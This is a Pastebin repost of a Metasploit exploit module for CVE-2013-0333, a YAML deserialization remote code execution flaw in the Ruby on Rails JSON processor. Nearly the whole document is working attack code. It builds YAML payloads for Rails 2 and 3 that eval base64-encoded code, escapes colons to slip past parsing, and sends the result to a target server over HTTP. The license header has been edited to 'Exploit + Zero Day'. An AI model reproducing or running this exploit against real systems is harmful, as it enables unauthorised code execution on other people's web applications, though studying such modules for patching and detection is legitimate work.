Advertisement
chris_defaulter007

Ruby on Rails JSON Processor YAML Deserialization Code Execu

Feb 4th, 2013
196
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.46 KB | None | 0 0
  1. ##
  2. # This file is part of the Exploit + Zero Day and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7.  
  8. require 'msf/core'
  9.  
  10. class Metasploit3 < Msf::Exploit::Remote
  11. Rank = ExcellentRanking
  12.  
  13. include Msf::Exploit::CmdStagerTFTP
  14. include Msf::Exploit::Remote::HttpClient
  15.  
  16. def initialize(info = {})
  17. super(update_info(info,
  18. 'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution',
  19. 'Description' => %q{
  20. This module exploits a remote code execution vulnerability in the
  21. JSON request processor of the Ruby on Rails application framework.
  22. This vulnerability allows an attacker to instantiate a remote object,
  23. which in turn can be used to execute any ruby code remotely in the
  24. context of the application. This vulnerability is very similar to
  25. CVE-2013-0156.
  26.  
  27. This module has been tested successfully on RoR 3.0.9, 3.0.19, and
  28. 2.3.15.
  29.  
  30. The technique used by this module requires the target to be running a
  31. fairly recent version of Ruby 1.9 (since 2011 or so). Applications
  32. using Ruby 1.8 may still be exploitable using the init_with() method,
  33. but this has not been demonstrated.
  34.  
  35. },
  36. 'Author' =>
  37. [
  38. 'jjarmoc', # Initial module based on cve-2013-0156, testing help
  39. 'egypt', # Module
  40. 'lian', # Identified the RouteSet::NamedRouteCollection vector
  41. ],
  42. 'License' => MSF_LICENSE,
  43. 'References' =>
  44. [
  45. ['CVE', '2013-0333'],
  46. ],
  47. 'Platform' => 'ruby',
  48. 'Arch' => ARCH_RUBY,
  49. 'Privileged' => false,
  50. 'Targets' => [ ['Automatic', {} ] ],
  51. 'DisclosureDate' => 'Jan 28 2013',
  52. 'DefaultOptions' => { "PrependFork" => true },
  53. 'DefaultTarget' => 0))
  54.  
  55. register_options(
  56. [
  57. Opt::RPORT(80),
  58. OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
  59. OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
  60.  
  61. ], self.class)
  62.  
  63. end
  64.  
  65. #
  66. # Create the YAML document that will be embedded into the JSON
  67. #
  68. def build_yaml_rails2
  69.  
  70. code = Rex::Text.encode_base64(payload.encoded)
  71. yaml =
  72. "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
  73. "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
  74. "eval(%[#{code}].unpack(%[m0])[0]);' " +
  75. ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " +
  76. ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
  77. ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
  78. yaml.gsub(':', '\u003a')
  79. end
  80.  
  81.  
  82. #
  83. # Create the YAML document that will be embedded into the JSON
  84. #
  85. def build_yaml_rails3
  86.  
  87. code = Rex::Text.encode_base64(payload.encoded)
  88. yaml =
  89. "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
  90. "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +
  91. ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
  92. yaml.gsub(':', '\u003a')
  93. end
  94.  
  95. def build_request(v)
  96. case v
  97. when 2; build_yaml_rails2
  98. when 3; build_yaml_rails3
  99. end
  100. end
  101.  
  102. #
  103. # Send the actual request
  104. #
  105. def exploit
  106.  
  107. [2, 3].each do |ver|
  108. print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")
  109. send_request_cgi({
  110. 'uri' => normalize_uri(target_uri.path),
  111. 'method' => datastore['HTTP_METHOD'],
  112. 'ctype' => 'application/json',
  113. 'headers' => { 'X-HTTP-Method-Override' => 'get' },
  114. 'data' => build_request(ver)
  115. }, 25)
  116. handler
  117. end
  118.  
  119. end
  120. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement